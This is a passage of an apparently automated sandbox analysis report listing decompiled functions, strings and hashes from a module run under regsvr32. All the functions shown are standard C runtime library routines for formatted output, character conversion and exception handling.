Part of subcall function 000007FEF9D34870: std::exception::exception.LIBCMTD ref: 000007FEF9D34888

Part of subcall function 000007FEF9D3D320: RaiseException.KERNEL32 ref: 000007FEF9D3D3CC

terminate.LIBCMTD ref: 000007FEF9D34393

Strings

bad exception, xrefs: 000007FEF9D34369
csm, xrefs: 000007FEF9D3429D
csm, xrefs: 000007FEF9D341BE
csm, xrefs: 000007FEF9D343A0

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: BlockStateUnwind_inconsistency$ControlFromterminate$BaseDecodeEntryExceptionFunctionImageLookupPointerRaiseReadThrowValidatestd::bad_exception::bad_exceptionstd::exception::exceptiontype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 3498492519-820278400
Opcode ID: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction ID: b93d13205fcb5bf4744c4f5868d42f2397ba004b3dd065f5f3bbc86f0087c528
Opcode Fuzzy Hash: e25f8e0578bfe9456fb08d8cd94b15df4ac81620a0b1491193f50dcc2ec7c96e
Instruction Fuzzy Hash: C412D436A0DBC585DAB19B15E8407EEB7A0F7C8791F604126DACD87BA9CB7DD440CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B580 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 318COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B6A5
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B6BA
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B87C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B891

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B944
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B959
_invalid_parameter.LIBCMTD ref: 000007FEF9D3BB09
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3BB1E

Strings

(format != NULL), xrefs: 000007FEF9D3B8DD, 000007FEF9D3B93D
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3B653, 000007FEF9D3B690, 000007FEF9D3B82A, 000007FEF9D3B867, 000007FEF9D3B8F2, 000007FEF9D3B92F, 000007FEF9D3BAB7, 000007FEF9D3BAF4, 000007FEF9D3CCEC, 000007FEF9D3CD29
( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn)))), xrefs: 000007FEF9D3B815, 000007FEF9D3B875
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
(stream != NULL), xrefs: 000007FEF9D3B63E, 000007FEF9D3B69E
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3CCD7, 000007FEF9D3CD37
_output_s_l, xrefs: 000007FEF9D3B697, 000007FEF9D3B86E, 000007FEF9D3B936, 000007FEF9D3BAFB, 000007FEF9D3CD30

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$_invalid_parameter$UpdateUpdate::~_
String ID: ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))$("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 4023976971-2293733425
Opcode ID: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction ID: fa666a0989dbdcd631dba14fdf712f3fd1171dc1b338b0fed7bc0ada6eb2a45d
Opcode Fuzzy Hash: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction Fuzzy Hash: 8B024A72A0D7C28AE7B09B24E8447BEB7E4F384345F604126D6CC46AA9DB7EE545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35EA0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D35F9D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3603F

Strings

_mbstowcs_l_helper, xrefs: 000007FEF9D35F8F
s != NULL, xrefs: 000007FEF9D35F39, 000007FEF9D35F96
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D35F4E, 000007FEF9D35F88

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$s != NULL
API String ID: 530996419-3695252689
Opcode ID: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction ID: dd73616ddae2cae72d7b30165dff30affe8ff5e8ed842a8499c58fb9266416ee
Opcode Fuzzy Hash: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction Fuzzy Hash: FAD11832A1CBC585E7A09B15E8407AEB7A0F784794F605626E6DE83BE9DF3DD444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B090 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B197
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B226
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B2DC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B2EE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B334

Strings

", xrefs: 000007FEF9D3B496
sizeInBytes <= INT_MAX, xrefs: 000007FEF9D3B133, 000007FEF9D3B190
sizeInBytes > 0, xrefs: 000007FEF9D3B278, 000007FEF9D3B2D5
", xrefs: 000007FEF9D3B2E1
("Buffer too small", 0), xrefs: 000007FEF9D3B42D, 000007FEF9D3B48A
_wctomb_s_l, xrefs: 000007FEF9D3B189, 000007FEF9D3B2CE, 000007FEF9D3B483
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c, xrefs: 000007FEF9D3B148, 000007FEF9D3B182, 000007FEF9D3B28D, 000007FEF9D3B2C7, 000007FEF9D3B442, 000007FEF9D3B47C

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$"$("Buffer too small", 0)$_wctomb_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c$sizeInBytes <= INT_MAX$sizeInBytes > 0
API String ID: 2192614184-1854130327
Opcode ID: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction ID: 7076a95ac8019ae0c7cbf4bc144243c7f76c7d2257b38824bc8c592ccc79079f
Opcode Fuzzy Hash: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction Fuzzy Hash: 33C10932A0D68286E7B09B54E8547BEB7E0F784744F604126E6CD87AE9CB7EE444CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D830 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 225COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3D955
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3D96A
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DA1D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DA32
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

(format != NULL), xrefs: 000007FEF9D3D9B6, 000007FEF9D3DA16
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3D903, 000007FEF9D3D940, 000007FEF9D3D9CB, 000007FEF9D3DA08, 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3ECFA, 000007FEF9D3ED37
(stream != NULL), xrefs: 000007FEF9D3D8EE, 000007FEF9D3D94E
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3ECE5, 000007FEF9D3ED45
_woutput_s_l, xrefs: 000007FEF9D3D947, 000007FEF9D3DA0F, 000007FEF9D3DBD6, 000007FEF9D3ED3E

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-1870338870
Opcode ID: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction ID: de6734cae50e00c17b19ae97f10413d83fe6e5a887ca475c0331002d176214a7
Opcode Fuzzy Hash: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction Fuzzy Hash: 66D10972A0DA828AE7B09F64E8447AFB6E0F384349F604125D6CD47AE8DB7ED545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6D6 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6D6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t223;
				signed char _t228;
				intOrPtr _t263;
				signed int _t338;
				signed int _t339;
				signed long long _t342;
				intOrPtr* _t365;
				signed long long _t390;

				_t338 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t339 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t342 = _a824;
				_a832 = _t342;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t342;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t223 = _a116;
				_a116 = _a116 - 1;
				if (_t223 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t223 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t228 = _a816 + _a708;
				_a816 = _t228;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t228;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t263 = _a1060;
				_a876 = _t263;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t365 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t365;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t263 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t365 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t390, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6d6
0x7fef9d3c6dd
0x7fef9d3c6e1
0x7fef9d3c6ee
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C
get_int64_arg.LIBCMTD ref: 000007FEF9D3C7B3
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

9, xrefs: 000007FEF9D3C98F
-, xrefs: 000007FEF9D3CA54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
_output_s_l, xrefs: 000007FEF9D3BAFB

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg$wctomb_s
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2984758162-268265396
Opcode ID: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction ID: a9c1e15515d35d7cf033a694107a1be22a212de4b62ef600bdbf999f0f55ea8a
Opcode Fuzzy Hash: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction Fuzzy Hash: 7202ED7260DBC586E7B1CB25E8857AEB7E4F384795F200125EACD86AA8DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D363E0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 260COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D364BD
_invalid_parameter.LIBCMTD ref: 000007FEF9D3666E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36680
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36772
_invalid_parameter.LIBCMTD ref: 000007FEF9D368E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D368FA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36959

Strings

(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 000007FEF9D36459, 000007FEF9D364B6
P, xrefs: 000007FEF9D36912
retsize <= sizeInWords, xrefs: 000007FEF9D36884, 000007FEF9D368E1
_mbstowcs_s_l, xrefs: 000007FEF9D364AF, 000007FEF9D36660, 000007FEF9D368DA
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D3646E, 000007FEF9D364A8, 000007FEF9D3661F, 000007FEF9D36659, 000007FEF9D36899, 000007FEF9D368D3
", xrefs: 000007FEF9D368ED
bufferSize <= INT_MAX, xrefs: 000007FEF9D3660A, 000007FEF9D36667

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$P$_mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2192614184-660564692
Opcode ID: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction ID: 92bf99913cb81df5d7f4b76c0ee557dab353d6c18ff2e6375d0d5446e39197ae
Opcode Fuzzy Hash: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction Fuzzy Hash: 8DE10C31A0DBC685E7B09B14E8457AEA3E0F384754FA04626D6DD53AE8DF7ED484CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D355F0 Relevance: 24.2, APIs: 16, Instructions: 206
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D355F0(void* __ecx, long long __rcx, long long __rdx, signed int* __r8, signed int* __r9, long long _a8, void* _a16, signed int* _a24, signed int* _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				void* _v64;
				long long _v72;
				void* _t88;
				void* _t89;
				void* _t107;
				void* _t109;
				signed int* _t158;
				signed int* _t160;
				long long _t175;
				long long _t186;
				signed int* _t187;
				signed int* _t193;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v72 = 0;
				_t158 = _a24;
				if ( *((intOrPtr*)(_t158 + 4)) == 0) goto 0xf9d35639;
				_t89 = E000007FE7FEF9D2E680(_t88, _t158);
				_v56 = _t158 + _a24[1];
				goto 0xf9d35642;
